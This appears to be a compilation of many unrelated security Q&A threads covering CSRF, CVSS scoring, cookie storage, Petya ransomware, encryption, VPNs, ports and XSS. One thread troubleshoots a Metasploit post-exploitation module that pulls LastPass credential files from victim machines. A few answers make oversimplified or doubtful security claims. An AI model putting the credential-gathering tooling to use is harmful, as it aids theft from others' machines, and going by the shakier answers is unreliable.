Alternative to anti-CSRF tokens for AJAX request (Same Origin Policy) I'm working on a PHP website based entirely on AJAX (via jQuery). It's a single page in which all requests are made by AJAX.

Related to the protection against CSRF I have encountered the problem of having to manually include the token on every request I make, which is extremely tedious and uncomfortable. Looking for an alternative solution to tokens, I read about SOP (Same Origin Policy) in relation to AJAX requests. If I understood it well, xmlhttprequest is not allowed across different domains (unless this enabled CORS, which is not the case).

So, in this case, I'm wondering if checking the origin of the request (through HTTP_ORIGIN) and the header X-Requested-With (to ensure the request is an AJAX request), would be enough in order to prevent CSRF attacks. i.e, I wanted to know if there is any token really needed considering the above conditions.

Thanks so much for your time.

Yes, you can use a custom header such as X-Requested-With to protect AJAX requests from CSRF.

A customer header is not allowed cross-domain without CORS being enabled on your server. The Origin header could also be used, however the logic for this is not straightforward.

If you wanted to add extra security to the custom header in the spirit of defence in depth, you could add a token to the header. However, as you are saying this is the tedium you want to avoid, checking a custom header would be enough bar any future vulnerabilities in browser plugins like Flash or Silverlight that enable this header to be set.


Exploitation tactics for heap over-reading? One of recent CVEs particularly 2019-13615 related to VLC media player, attracted my attention because of the developer reaction:

  Any non-exploitable read overflow get CVSS of 9.8, like VLC is a server and you could do RCE and compromised the machine, while most of the time, the issue is a crash, often not exploitable, from a local file that the user HAS to open manually

My interest was never so high. As I understand the vulnerability and commit with the fix, I see it cannot actually be exploited for RCE.

Am I right?

Then why researchers in two (three?) unrelated organizations issued a CVE and assigned a CVSS score that is so high? I wonder, why other researchers have said that it cannot be exploited for an RCE on macOS.

The reason why CVSS scores are high, even though an issue is difficult to exploit, is because CVSS ignores the likelihood of some things.

For example, if an exploit requires the user to open a media file, it gets the attribute "User interaction required". An exploit that would require the user to ignore an explicit warning also gets the attribute "User interaction required".

Both of them are, however, not of the same likelihood. The likelihood that a user will attempt to open a media file with a media player is quite high. And several users will download media files from untrusted sources, giving the attack quite a large surface.

As far as exploitability goes, this requires some actual testing. Not every vulnerability is exploitable, but should still be fixed.


Saving authorization token in browser I have a REST API which returns an auth token when the user is logged in successfully. This token needs to be sent in different routes for authorisation. This is working fine is my android app. But I want to use this is my website and I am not sure how should I be storing auth token in browser securely .

Cookies with a MUST of "httponly" and "secure" attributes are the only secure way forward. This is because in a scenario of a XSS (Cross Site Scripting) attack LocalStorage or the DOM data can be easily read by the attacker.

If you define a cookie with httponly tag Javascript can't access that value, preventing XSS attacks.

https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies


Why does a perfc file cure/kill Petya ransomware (is it a bug or a deliberate decision of the creators)? Why does a perfc file in the Windows directory prevent the recent Petya ransomware? Is it a bug in the ransomware that halt's it from executing? Or is it a deliberate attempt of the creators to allow people to find a cure to prevent it? Or as the media stated "to use the killswitch".

In the case of a cure, if the ransomware was created to make as much damage as possible. Then, why would they make such a decision/mistake?

Additionally, does it regard the creation of a "perfc" file without file extension or a "perfc.dll" file?

It doesn't stop the infection as such, what it seems to do if Petya detects (as it looks like it searches for it) perfc.dat is stop it from running the file scrambling portion of the code on your machine. So while you still have access to your machine and all your data you are still infected.

So what does Petya do if perf.dat is detected, if not the file scrambling? What it does is use your computer as a foothold into a network to continue spreading internally (not externally, unlike WannaCry).

From what I found while researching this answer, the only thing the perfc.dat 'vaccine' stops is the file scrambling, I believe (In that I couldn't find any source that said otherwise) that it still attempts to lift credentials from RAM to allow it to gain admin access, and travel further through a network.

As to whether its a bug or a feature, the f-secure link I've posted at the bottom has a nice analysis suggesting that the malware, which has a very sophisticated network propagation component, and less sophisticated MBR and user mode component (this does the encryption/decryption of files, and apparenytly does work properly), suffered a suddenly reduced deadline after WannaCry flung EternalBlue to headline news, reducing the attackers' potential options for spreading around a network.

I'm not sure if we can be sure, but I'd put it down to the 'vaccine' being a bug, rather than an intended feature. F-secure did some very nice write ups about Petya on their 'From the Labs' blog, most of which can be found from the one I linked below, I'd link a few more but I don't have the reputation.

Sources:

https://www.theregister.co.uk/2017/06/28/petya_notpetya_ransomware/

https://labsblog.f-secure.com/2017/06/30/eternal-petya-from-a-developers-perspective/


Where to store a key for system wide encryption/decryption? I have a web application where (among other things) customers can upload files and administrators can then download those files.  The uploaded files are stored on ServerA and the web application used to upload/download those files runs on ServerB.

I would like to make it so that while the files are stored on ServerA they are encrypted and that only the web application can encrypt/decrypt, but my concern is that there might not be an effective way to store an encryption key, which would make the file encryption mostly for show.

I came across this question/answer which suggested some good ways to securely store a key, but I think that the most secure ones do not apply since I need different people to be able to decrypt the file.

For example, I cannot create a key based on user credentials, because customers must be able to encrypt all admin users must be able to decrypt (right?).

From what I can tell, my best option is to store the encrypted files on one server and store the encryption key in the code on my web server, but this does not seem particularly secure.  It seems likely that if a malicious user gains access to one server they probably gain access to both.

My question - is it even worth implementing "encrypted files on ServerA" and "encryption key on ServerB", or would I just be kidding myself to think this is more secure?  Is there an effective way to encrypt files based on the conditions that I laid out above?

The most effective method is to use secure hardware to store the key. You can get SSL accelerators that will securely store and process keys onboard so that they never leave the secure hardware module. Relatively expensive and requires you to have physical access to the hardware (so no VPS or cloud solutions).


Is HMAC really a benefit for AES-CBC? I think I quite well understand the theoretical benefit of adding the HMAC (authenticity/integrity on top of confidentiality), but I am looking at this from a key management point-of-view.

Premise: Since anyone could in theory encrypt plain text, I add a MAC tag so the ciphertext origin can be verified. This derives the premise:

A malicious party could gain access to the secret shared encryption key and forge a cipher text

Then I argue, if an attacker can access the encryption key, why should he/she not be able to access to MAC key as well (and thus again be able to forge a cipher text)? Next, if we increase the key storage requirements for the MAC key (making its compromise less likely), why not simply store the encryption key more securely in the first place?

In my eyes, this method is adding two very similar security concepts together (shared symmetric secret key), which doesn't magically increase the security, i.e., 1+1 does not always equal 2 in security.

If someone could briefly explain the error in my chain of thought or shed some light on this matter I would highly appreciate it.

Thanks in advance!

I guess I should have researched more rigurously: MAC vs Encryption

The flaw in my thought process was thinking an attacker needs to know the encryption key to attack. However, he/she may simply modify a cipher text without the ability to encrypt plain text.


Using VPN to connect home to work computer gets me work background image I am using OpenVPNManager specifically configured by my employer. It works fine
although I have to reinstall every time there is a Windows update.

Anyway, for the second time now, I find my home computer with the same (compulsory) desktop background image used at work with my employer's logo. I mean, I never downloaded any file or set anything related to my home computer appearance settings.

Is it possible that my home computer is accessible to the IT people from work? And even their mandatory scripts are being run in my home computer?

I have never seen anything like that.

A VPN takes the computer you are connecting from and puts it in the target network.  So yes, when your VPN is active the IT people from work do have network access to your home desktop.

By being on the target network should not allow them to change any of the settings of your computer (unless you do not have a password).  However, if you are running a program from your employer to connect to this VPN that application has the same access to your computer as you do.

Yes, it is likely your company's automated network policies are either directly or indirectly effecting your personal computer ... and chances are you signed a piece of paper saying that they have that right when you got VPN access.


Is denying write access an effective way to stop ransomware? I'm looking for ways to defend against ransomware.
As part of this strategy I've come up with the idea to block myself from writing to as many locations (and files) as possible.

It may be assumed that the active user is always logged-in as standard, local user (not as an administrator) on Windows 10 and that write access is specifically denied to that user, using NTFS' security features.

Does NTFS' "disallow write" feature effectively stop ransomware from encrypting and deleting the protected folders and files?

Or better formulated:

Is it worth it to bother and change NTFS file and folder access permissions to defend (in-depth) against ransomware?

Bonus question:

What changes if you're usually logged in as an adminstrator?

Can be done? Yes, it can.

It is worth? I doubt.

It is effective? Probably, probably not.

If you set the folder as read-only using your normal user account, ransomware can revert it to read-write, and encrypt your files. The read only folders will be in your way every time you want to save anything.

If you use the admin account to do that, you must start an elevated Windows Explorer every time you want to save anything on the protected folders. And it's easy to forget to return it to read-only after writing.

If you intend to put yourself on a restricted system to prevent ransomware, implement Windows Application Whitelisting to only allow the execution of approved programs. Any ransomware you not add to the list will not be executed.


Is an SSL/TLS HTTPS certificate 'fingerprinting' attack possible? If you download a friend's site's unique HTTPS root certificate (independent of default browser-shipped ones), or you simply make a 'permanent exception' to an obscure self-signed cert, in Firefox, I wonder whether or how an attack by third parties (server-level and on the HTTP application layer) to discover the usage and storage of this unique and obscure HTTPS cert / authority, by you as a user on the web, is possible.

If discoverable by other servers or MITM who somehow use those same unique certs to check against your lookup / verification / browser response to them (if you have already accepted the same cert surely the timing will be quicker), they can then attack your privacy by knowing you use (or at least have accepted/installed) the aforementioned cert from your friend's site, or break anonymity via the concept of fingerprinting (only targeted fingerprinting).

What would be various ways for doing this, and the requirements for those methods? I am no security researcher, but can think of 1. server-side direct cert forging (but would that require acquiring my friend's private keys and thus less likely of a broad threat?), and 2. (but blockable by add-ons such as RequestPolicy if the user is aware), using cross-site requests involving the original friend's site without any impersonation/stealing/forging needed anyway, and somehow observing whether indeed, you have installed, or accepted that cert in this way.

If there are differences between browsers in such vulnerability, I use Firefox.

There is no chance for fingerprint attack.

The first point here is there is no unique certs as you can create and if you try to make it , you need to add digital signature in the certificate( self signed or not ), then you require private key. Its available only with the particular person.

The second point here is you can't establish a secure communication, it will obviously fail during the negotiation.


IP address assignment for LAN Does it make any difference from a security perspective to use any other IP address ranges than RFC1918 addresses within LAN segments?

No, and it will give you nothing but headaches.

What happens when your email server has to email an MTA that just so happens to have the same IP address as a machine in your subnet? Or when that website your user needs to go to has the same IP address as a machine in your network? Default routes are created saying "If this machine doesn't exist in this network, send it to through the gateway to find said machine", but if that machine is found on your network it will never reach the gateway.

I assume one might think that there is a security benefit by using unconventional IP addressing might deter an attacker footprinting your network, when in actuality if he pops a box he's going to look at the IP address scheme and just scan that network. It won't matter if the network is 10.10.0.0/16 or 123.123.123.0/24.

Private address ranges were invented for a reason and not using them provides no additional security benefits. There is a litany of reasons why "Security through Obscurity" is not a sound security concept, so please save yourself the hassle and just use those in the RFC.


Understanding differences between kernel-based TCB and micro-kernel TCB Recently I've been learning the concept of trusted computing base, and I've seen 2 types of TCB:
Kernel-based TCB
Micro-kernel TCB

Where, from my understanding, the main difference is that in the former we have many OS oriented processes, like file system or virtual memory management system running in the kernel (therefore in the most trusted level, highest permissions), and in the later we move as much as possible to run in the user space. (with usually lesser permissions)
What the rational behind making a smaller kernel? Isn't it more secure to run, for example, device drivers in the kernel?

Code running in the kernel mode always have full permissions to do anything, including to crash the kernel or to corrupt its internal data structure. User mode drivers restricts those capabilities so that communication with the micro kernel are forced to be done over well specified interface. For example, if a storage device driver had a bug such that a pointer it uses as destination for a copy buffer sometimes is used uninitialized, in macrokernel, there's a chance that the uninitialized pointer can point to the kernel's own memory, and the driver might overwrite the kernel's data structure, like the process table, likely leading to a total system crash (kernel panic). In a microkernel, since the driver can't write directly to the kernel memory, such errors would at most just crash the device driver itself, and the kernel can restart the device driver process.

In general, the thinking is that microkernel have a better security architecture than a macrokernel, however it comes at a performance penalty. Modern micro- and macrokernels employs a number of tricks to minimize their weaknesses.


Attacking through an open but not listened port Let us say, we open a port, say port 123, so that upon listening, an application on the server can receive incoming packets through the port 123.

If there is no way that an inside application on the server listens the port 123, how can an attacker use this open port to attack the server?

If there is no application listening to a port, the operating system will reject incoming packages sent to this port. So no attack is possible related to intrusion into the system via this port.


Can ISP's know the information you share with an https site? Hate to bring politics onto this site, but politics did inspire this question.

I found out today that Donald Trump's new executive order now allows ISP's to sell  your data, browser history, and whatnot. However, is that even technically possible, for https sites?

The largest advertising network being Google Adsense is on https since a while ago, many others are too, but also everyone is soon going to shift to https as certificates are already free and easy to implement. So isn't his executive order (about to become) largely irrelevant?

Or is it actually possible, strictly technically speaking, for an ISP to read the information you exchange with a https site?

I agree for the most part with @DNUCKLES, except that your ISP can probably determine what you are viewing. HTTPS does not really provide privacy.

For example, in this paper the researchers sniffed Netflix traffic and determined what movie was being watched, just by looking at the size and timing of the traffic. In this paper, researchers could see what you typed in a search box by sniffing HTTPS traffic. This paper identifies which pages you visit on a medical site with 89% accuracy.


Has there been a breach of AES? Are there any known logical flaws of AES Cryptography? I understand that you can always break the encryption by brute-force or by having backdoors, but I have not come across any sources that show a flaw or potential breach/cracks in AES. Are there any?

If you can tell me what makes AES impossible to break, that'd be BONUS!

There are known attacks against full AES. Using Biclique Cryptanalysis, full AES with a 128 bit key has been reduced to 126 bits of entropy, which seems to be the best result for key recovery attacks so far. The key space is, however, still impractical to search. At 1015 operations per second, which is the approximate computing power of a very large and expensive supercomputing cluster today, to find a key would still require an average time of 8.5 × 1022 seconds (2126 operations/1015 operations per second), or about 2.7 quadrillion years. The only known attacks against full AES also has the tiny problem of requiring petabytes of disk space. All in all, not very practical.

The main reason it is stronger than it's predecessor, the DES cipher, is due to it's larger key size. The fact that it is newer also reduce the window that cryptanalysts have had to come up with various attacks. Properly implemented AES has no known, practical attacks.


Does VPN protect from chrome sniffing Let's say you browse the web with a VPN connection, but while being signed into your Google account on Chrome.
Google still knows all of your browsing history, correct?

A VPN protects only the transport of the data but does not change the payload in any way which also means no anonymization of payload. If you are signed in to google and surf to a site which uses google analytics are other google service then google still knows who you are.


If a port is closed how come you can still use it? What does it actually mean for a port to be closed or stealthed? According to tests I've run all my ports (tested) are stealthed but clearly I can still use the internet. Also are the terms "blocked" and "closed" synonyms in this context?

What does it actually mean for a port to be closed or stealthed?

Ports are usually talked about in terms of TCP and UDP. When speaking of closed ports, the system replies back with a message saying there is nothing there. For UDP and in theory any other protocol regardless of the concept of ports, a destination unreachable message would be generated if there were no service attached the port. TCP is different; because of it's stateful nature and control flags, it is able to indicate a closed port on its own by sending a packet back with the reset ("RST") bit set.

A stealthed port means one where a firewall rule dropped the packet without replying.

  Also are the terms "blocked" and "closed" synonyms in this context?

Blocked ports generally refer to when situations where even if an application is listening on the port, the operating system or some upstream device (firewall) refuse to pass traffic and send messages indicating closure. From an outside perspective, this can be determined if the filtering happens upstream due to a different source address or number of hops taken by the packet. From an inside perspective, one notices that no incoming connections can be made.

  According to tests I've run all my ports (tested) are stealthed but clearly I can still use the Internet.

A stateless firewall can reject new incoming TCP connections by preventing any inbound traffic that only has a SYN flag set. A stateful firewall can track whether any communication over that socket was originated from inside the network or from the outside for any protocol it is aware of which universally includes TCP and UDP.

Many Internet protocols are client / server based, and the end-user is on the client side of that, thus originating the connection. DNS queries, HTTP requests, etc. are all initiated from your side. Since your firewall device (or NAT router) is allowing outbound traffic and associated inbound traffic back, this works. Applications that act as equal peers or client / server applications where you're acting as the server would not work unless you specified rules to allow them because there would be no prior connection for the device to match and allow inbound traffic against.


Hiring a Third Party Developer, what config files & certificates are ok to share? So my cofounder and I hired a developer through Guru to build our native iOS and Android MVP's. Long story short, he agreed to integrate Firebase and BrainTree, and originally asked for our account credentials to both of those services so he could integrate everything. I saw this as a huge red flag (giving him our username and password???), but ultimately decided that he may have just assumed we weren't very tech savvy. I am a 4th year CS student, and have developed a fair amount of hackathon-scale projects. I figured that he should be able to develop everything on his own without any of our credentials or API keys, and we would just replace the Firebase configuration files and Apple permissions files (p12 and certificates) with our own when he finishes writing the logic for everything. Am I wrong? What types of files are safe/reasonable to send him for him to integrate everything? In the immediate term, is it safe to send him our p12 and certificate files?

Sounds like you're a small operation but you should still tried to seperate production from development and seperation of duties. A developer  NEVER needs to have access to any signing key or account related to production and hiring an external always adds a risk factor.

You should have spun him up an environment that you could throw away after his work and retain control of those you intended to use in production.


How safe is Apple's FileVault full disk encryption? I have read about this encryption feature for OS X but want to know how secure it is compared to PGP.

Here is the official documentation for enterprise about Apple's full disk encryption solution FileVault 2.

FileVault 2

FileVault 2 uses the user's login password as the encryption pass phrase. It uses the AES-XTS mode of AES with 128 bit blocks and a 256 bit key to encrypt the disk.

The problem there is that the user's password used to encrypt the key are generally pretty weak unless the policy which required long and complex password is enforces.

XTS mode is susceptible to data manipulation and tampering. It is also susceptible to traffic analysis, replay and randomisation attacks on sectors and 16-byte blocks. As a given sector is rewritten, attackers can collect fine-grained (16 byte) ciphertexts, which can be used for analysis or replay attacks (at a 16 byte granularity). It would be possible to define sector-wide block ciphers, unfortunately with degraded performance.

VeraCrypt

When you are speaking about "PGP-Disk Encryption", I guess your are speaking about TrueCrypt aka VeraCrypt (forked now). VeraCrypt uses the XTS mode of operation for AES which presents the same vulnerabilities as above.
It supports also other combinations of cascaded algorithms such as are available: AES-Twofish, AES-Twofish-Serpent, Serpent-AES, Serpent-Twofish-AES and Twofish-Serpent. This cascading combination of different symmetrical encryption algorithm presents a better security since if one of them is affected by an attack you'll still have the break the other layer.


Automating Social Engineering Prevention Being an advocate for DIO (defensive information operations), I have always been concerned about social engineering and its relation to server security. Giving administrative access to staff members requires trust that, in this day and age, is hard to pass along.

What strategies do modern businesses use to ensure that employee activity is secure, mitigating the risk of invalid server access in an automated fashion?

You cannot prevent social engineering entirely, so you need to work on damage limitation. Social engineering only works on people who have the privilege to do something, or know something important. If you remove the sensitive information and risky privileges, you massively reduce your security footprint.

What you're looking for is separation of duties, combined with proper authentication. That is, you give each user the absolute minimum privileges they need to do their job, but allow them to escalate a task or procedure to a superior that has the required privileges, or pass the operation onto an alternate department that has the required privilege. You also provide proper authentication mechanisms to enforce identity.

For example, in a bank you might give the call centre staff the ability to change your credit limit, but not the ability to flag a transaction as fraudulent. The fraud department would be able to flag a transaction, but not change your credit limit. Furthermore, the call centre staff could not approve a loan directly, but would be able to send the loan application to their manager, who can approve or reject the application. All access to the system should be enforced by a password and hardware token (e.g. swipe card, RSA Securekey, etc.) at minimum, so that identity is enforced and a chain of custody can be proven.

In order to access privileged locations (e.g. server room, or a login via SSH) you should require multi-factor authentication. Social engineering is effective at getting things you know, but nowhere near as effective at getting things you have or are. Use proper physical security and digital authentication that requires two-factor or three-factor authentication in order to gain access. In cases where a highly sensitive asset is being accessed, require multi-factor authentication from more than one employee.

On top of all of this, use audit logging everywhere. Every single change that a person makes should be logged, with appropriate measures taken to ensure that logs cannot be destroyed or falsified. This provides a way to identify problems, and leaves you with legal recourse should an employee do something malevolent.


Linux kernel crypto algorithms: potential exploitation? I am interested in many of the crypto algorithms in the arch/x86/crypto branch of linux kernel:

http://lxr.free-electrons.com/source/arch/x86/crypto/

and this:

http://lxr.free-electrons.com/source/crypto/

Many of these algorithms like registers like AVX and XMM registers, which I am not sure if the kernel ALWAYs reinitialize it from previous context (very performance-heavy if implemented). (Please provide the reference to the kernel source).   And so if not, if one kernel module is doing the calculation, and then the intermediate keys can be sniffed from a usermode application looking at the XMM registers, is it not a risk?

Moreover, if someone can modify these registers, it may corrupt the AES computation as well, if the computation can be interrupted and scheduling passed proessing to a usermode application.

To generalise the above two scenario further:

If process A were to use XMM register - be it in the usermode or kernel mode, during process switching to process B, these XMM registers values should be backup and switched.   So if there were 10 processes all using XMM registers, then the context for each of them will contain the XMM information.
And since these have to be done in the kernel during switching, can someone help to point out the kernel source that show this is done?

A similar question to this is found here (unanswered):

https://stackoverflow.com/questions/10879546/user-to-kernel-transition-and-xmm-register-state

Many of these algorithms like registers like AVX and XMM registers, which I am not sure if the kernel ALWAYs reinitialize it from previous context (very performance-heavy if implemented)

Oh, but it does. At least, for processes that use SSE/XMM. Access to SSE/XMM registers can be disabled in hardware (via CR4.OSFXSR), which also makes task switching more efficient for processes that aren't using SSE/XMM at all.

  And so if not, if one kernel module is doing the calculation, and then the intermediate keys can be sniffed from a usermode application looking at the XMM registers, is it not a risk?

The kernel is very careful to sanitize everything that could've been touched by the kernel code before returning to userspace.

It may not necessarily save/restore, in some cases it might just clear with a zero value. But everything gets either restored or sanitized.

Where this is done is a different question. The default assumption might be that the kernel doesn't touch such advanced registers, so the responsibility might lie with the modules that use them (at least for system calls; task switching can be slightly more involved than system calls).


How to properly delete all data from cell phones? Lately I've been thinking to get rid of some old smartphones; among them an Android device and a Blackberry. Not selling or recycling them is the ideal solution, however, I still would like to know how can I minimize the possibility of recovering data from them after the obvious wipe-out/reformat.

So my questions are:

Would it help reformatting the OS multiple times? or is there a way to zero out the memory (not sure if it would be effective as in traditional mechanical hard disks)? and would it help if I fill over and over again their memory with random data (videos, pictures, contacts, etc)?

Android

Use SHREDroid.
Perform a factory reset.

iPhone

As of iOS 2.0, the "Erase All Content and Settings" option will actually delete and overwrite the data on your phone, rendering them unrecoverable, or remove encryption keys on devices that supports hardware encryption.

BlackBerry

The "Security Wipe" option will delete and overwrite the data on your phone.


reading/downloading big files in metasploit module I am writing a post exploitation module that supports meterpreter sessions.

For my module to work, I need to read/download some files from the victim machine that may be small or bigger. I am having troubles when the file is bigger than 2MB. I start to get all kinds of exceptions when I try the read_file method or when I try to download the file with client.fs.file.download

I have isolated the issue to this after hours of testing. It just happens with bigger files. Is there some kind of limit on how the big the files can be? If so, how can I work around it so I can read/download files from the victims machine?

I get different errors without without any specific pattern. The most common one is reflected in this stacktrace:

[-] Post failed: TypeError can't convert nil into String
[-] Call stack:
[-]   /home/yowie/git/metasploit-framework/lib/msf/core/post/file.rb:343:in _read_file_meterpreter'
[-]   /home/yowie/git/metasploit-framework/lib/msf/core/post/file.rb:227:inread_file'
[-]   /home/yowie/git/metasploit-framework/modules/post/multi/gather/lastpass_creds.rb:43:in block in run'
[-]   /home/yowie/git/metasploit-framework/modules/post/multi/gather/lastpass_creds.rb:39:ineach'
[-]   /home/yowie/git/metasploit-framework/modules/post/multi/gather/lastpass_creds.rb:39:in each_with_index'
[-]   /home/yowie/git/metasploit-framework/modules/post/multi/gather/lastpass_creds.rb:39:inrun'

It happens when I try to read a sqlite database in the victims machine. Specifically in line:

data = read_file(db_path)

The other error I have seeing is the following:

[-] Post failed: SocketError getaddrinfo: Name or service not known
[-] Call stack:
[-]   /home/yowie/git/metasploit-framework/lib/rex/socket.rb:181:in gethostbyname'
[-]   /home/yowie/git/metasploit-framework/lib/rex/socket.rb:181:ingetaddresses'
[-]   /home/yowie/git/metasploit-framework/lib/rex/socket.rb:165:in getaddress'
[-]   /home/yowie/git/metasploit-framework/lib/msf/core/db.rb:6096:innormalize_host'
[-]   /home/yowie/git/metasploit-framework/lib/msf/core/auxiliary/report.rb:222:in store_loot'
[-]   /home/yowie/git/metasploit-framework/modules/post/multi/gather/lastpass_creds.rb:51:inblock in run'
[-]   /home/yowie/git/metasploit-framework/modules/post/multi/gather/lastpass_creds.rb:46:in each'
[-]   /home/yowie/git/metasploit-framework/modules/post/multi/gather/lastpass_creds.rb:46:ineach_with_index'
[-]   /home/yowie/git/metasploit-framework/modules/post/multi/gather/lastpass_creds.rb:46:in `run'

This one happens in the line:
loot_path = store_loot(...)

The different errors are triggered when I run more than 3 times this line:
files = client.fs.dir.entries(path)

Somehow the meterpreter session gets corrupted after the loop executes the above line for the 4th time or more.

This is no hard limit on downloads in any of the meterpreters, but if you are using PHP meterpreter it will have to conform to the PHP.ini that is running on the server that it was installed on.

You may also be running into other connectivity or lag issues. Can you perform downloads of similar sizes over similar protocols?


Can OpenDNS see my VPN traffic? I'm currently using OpenDNS as a DNS resolver because of their service FamilyShield which blocks porn and other unwanted websites.

My questions:

If I'm using a VPN, what can OpenDNS really see?
Is the VPN traffic routed via the VPN providers DNS server?

The reason why I ask is because I do a lot of work from home and some of the work I do I wish to keep private between me and the client.

The first question is "see what?".  I assume that you're asking whether OpenDNS can see your DNS resolution, not the entire traffic.

OpenDNS is a DNS resolution service, therefore you configure your router to send DNS queries there.  It does nothing to the actual TCP (or even UDP not going to port 53) traffic.  OpenDNS performs content filtering by DNS filtering.

Now, if your machine use DHCP to the router and asks there for a DNS server (most do).  Your (openDNS configured) router will add itself as the DNS server and relay the DNS queries to OpenDNS.  If you use a VPN but do not change the DNS servers of your machine the DNS query will be sent to the router anyway and then relayed to OpenDNS (given that you do not force the VPN to overwrite your current LAN, most will not do that by default).

To make sure that the DNS traffic is not relayed to OpenDNS you need to ensure that the DNS server of your machine is configured to use an IP within the range defined by the VPN (if your VPN is for internet access, then using a public IP of a DNS will do.  Google has the classic page about configuring DNS to one of its servers for several OSes).


Is it possible to block all the VPNs by inspecting upper layer protocol field? If one uses VPN, eavesdropper can not get any information in the IP packet header. However, at least he knows that the packet contains IP sec header by inspecting upper layer protocol field in the IP header.
Nowadays, lots of governments strive to strengthen their Internet censorship. Then, my question is simple. Why don't they just simply drop every packet that contains IP sec packet by inspecting upper layer protocol field? Are there different kinds of VPN using something to bypass that inspection?

Because VPN has massive legitimate uses as well, even in for instance China. International business requires communication, and VPN is used to provide communication.

China, Russia and most other countries want the money they generate from accepting business, so there's a fine line between making business use too difficult, so companies will stay away from the country - and blocking too little.


Does a VPN protect a network through which data is being transferred? It seems to be common knowledge that a VPN has the potential to protect data that is being transferred through an insecure network.  Does a VPN also protect a secure network/router from malicious website data being sent to a device using that network with a VPN?
I am new to this site so please forgive any mistakes or issues and just let me know.
Thanks

No.

A VPN provides an encrypted tunnel between an initial device A and a server B where the data is decrypted and processed, for example by forwarding onto a requested server C.  Responses from C are sent back to B, encrypted, and sent to A.  This means a man in the middle, M, can't determine what A is sending to C in a scenario where all of A's traffic goes through M.

HTTPS does something similar - A could talk to C directly, and M would only see encrypted traffic.  If C only serves data via an unencrypted connection however, such as HTTP, M would see all the raw data.  This latter scenario is what VPNs are useful for.

In any scenario though, B does not (ordinarily) do anything to the content sent back to A.  In this sense it's 'dumb'.  If the connection between A and C is ordinarily not encrypted, then B could potentially perform packet inspection and check for known exploit code etc., but in practice this is impractical most of the time.


Prevention against De-Auth Attack for Handshake Capturing As far as I know about De-authentication attack, the attacker sends de-auth packets to both router and the victim asking the victim to disconnect and reconnect. But I wonder what would happen if I disable the auto-connect.

As per my knowledge, I would be disconnected and would not reconnect. The attacker might just stop the listening after a while as the handshake was not captured, if he/she is a script kiddie.

PS: I know it's advisable to keep a strong password which cannot be found in a dictionary. But I'm curious to know if my idea would work or not.

It would most certainly work, and rob whoever is doing it of both handshake and 'for-the-lulz'.

You can disable it on most platforms - I am not so sure about Android.

If you are interested in keeping things separate, get a pcengines alix/apu or soekris, connect wan to port1, lan to port2, and wlan on port3. don't let lan and wlan interact, restrict wlan to what you need.

Both PFSense (browser 'GUI' setup) and OpenBSD are straightforward and well-documented.

Edit: pfSense works much more reliably as an AP than OpenBSD. Using the latter, you would have to use the exact right minipci card. The rum driver (a USB dongle) for example creates an annoying kernel panic after a while in HostAP mode.

Trivia: Using WPA enterprise you can prevent anyone without the cert from connecting to your wifi. They could still sniff a bit, but most important stuff uses HTTPS/similar now, and the attacker cannot use MitM like sslstrip2/dnsproxy against your clients.


Privacy alternatives to keep sensible data secure? I often find myself connecting to the internet through the University network and since I have to authenticate in order to navigate I guess that the system administrator can easily see any connection that I make and monitor all of my traffic.

I would like some privacy but I don't want to pass through some shady service because I often login to websites that store sensible information and I also want to be able to log into my bank account without having to worry too much.

What alternatives do I have?

Using a reputable VPN will solve some of your problems. If you are paranoid about 3rd party VPN providers snooping your traffic you could create your own. Here is a good guide https://www.linode.com/docs/networking/vpn/set-up-a-hardened-openvpn-server.

It check out this list for info on 3rd party providers https://thatoneprivacysite.net/vpn-comparison-chart/.

Note that I am very paranoid and have no issue using my chosen 3rd party provider.


Definition of "passive" and "active" authentication? I came across the concepts of passive authentication and active authentication in my work related to SAML 2.0 single-sign-on integration. I tried very hard to find a clear, generic definition and a proper explanation on these two concepts but almost every doc I referred to was quite vendor specific.

Can anyone provide a clear definition and explanation on these concepts along with appropriate examples?

Active Authentication: authenticates user via the WS-Trust protocol. The Replying Party (RP) owns the login window and requests a security token from the Security Token Service (STS). Here, the user logs in using a flow. An example of active authentication involves mobile devices, verifying a user's identity continuously based on the sensors that are a part of that device. More on this in Active Authentication on Mobile Devices via Stylometry, Application Usage, Web Browsing, and GPS Location.

Passive Authentication: the RP has no login logic; the user is directed to the login page on the STS. After logging in, the STS directs the user back to the URL and you're authenticated on that site which trusts the STS. An example of passive authentication involves a user signing in through "a web form displayed by the identity provider and the user is requested to log in." See this document for more on active and passive authentication.


Malicious user inflicting XSS attacks appears to be on my own network I have a live Django project where I'm using nginx as a reverse proxy with gunicorn as the application server. It's a fairly new project and isn't SSL enabled yet. There's a user on this project who's been inflicting XSS attacks and stealing user cookies. I went through my session data to find out this user's IP address. It turned out his IP is similar to 10...* - i.e. he's on my own network? All other users appear to have normal public IP addresses BTW.

I was originally hoping to find out his IP and deny it in my nginx conf. But I suppose it's not a robust solution given he's appearing to be on my own network. Are there any ways I can block this person's network requests while I try to figure out how to stop his XSS attacks where he's logging in as other users?

Ask your network administrator about who that IP address belongs to, then pay them a visit and firmly apply a LART to the back of their head.

Should that not be an option, configure nginx to only allow connections from your own IP address. This is obviously only a good idea when your IP address is static, because otherwise you will lock yourself out when your IP changes.

Another stop-gap measure is to reconfigure nginx to require HTTP authentication for all requests. That way a user can only make any requests by providing username and password or even better with the correct certificate.

How to do this is a technical question for https://serverfault.com


How does openid implement Single sign on? I'm wondering which security model is behind the OpenID. Is it anything like kerberos?

The question is very broad and it is hard to guess what you are actually asking. You can find the specification at http://openid.net/developers/specs/

Kerberos is typically used in a controlled environment. In that environment there are known and trusted Kerberos servers ("key distribution center"). The Kerberos server authenticates the service provider to the client and the client to the service provider. Therefore the Kerberos server must know of all clients and all service providers.

OpenID, however, is designed for an open environment such as the Internet at large. That is any service provider (website) can work together with any openid-server ("identity provider") to authenticate clients.

Differences between Kerberos and OpenID

As Kerberos is used in controlled environments, logging in to services is totally transparent after you logged into your computer. On the Internet, however, you have to pick your openid-provider, and then login to it. These are two additional steps. Furthermore the redirect to your openid-provider may end up at a phishing site instead, if the service provider is malicious.

The openid-server only knows about its users. Unlike Kerberos, OpenID providers cannot authenticate service-providers. Many openid-provider therefore ask the user to confirm that they want to login to a specific website before passing identity information. In a controlled environment such decisions are done by the administrators instead (assuming that they have a better understanding about security than users). This confirmation can be saved for each domain. Unlike Kerberos, however, there is no authentication involved. If the ownership of a domain changes for legit or illegit reasons, this is not noticed.

Conclusion

OpenID has a number of issues that Kerberos does not have. Kerberos, however, does not work at all in an open environment, so it is no alternative for the common use cases of OpenID.


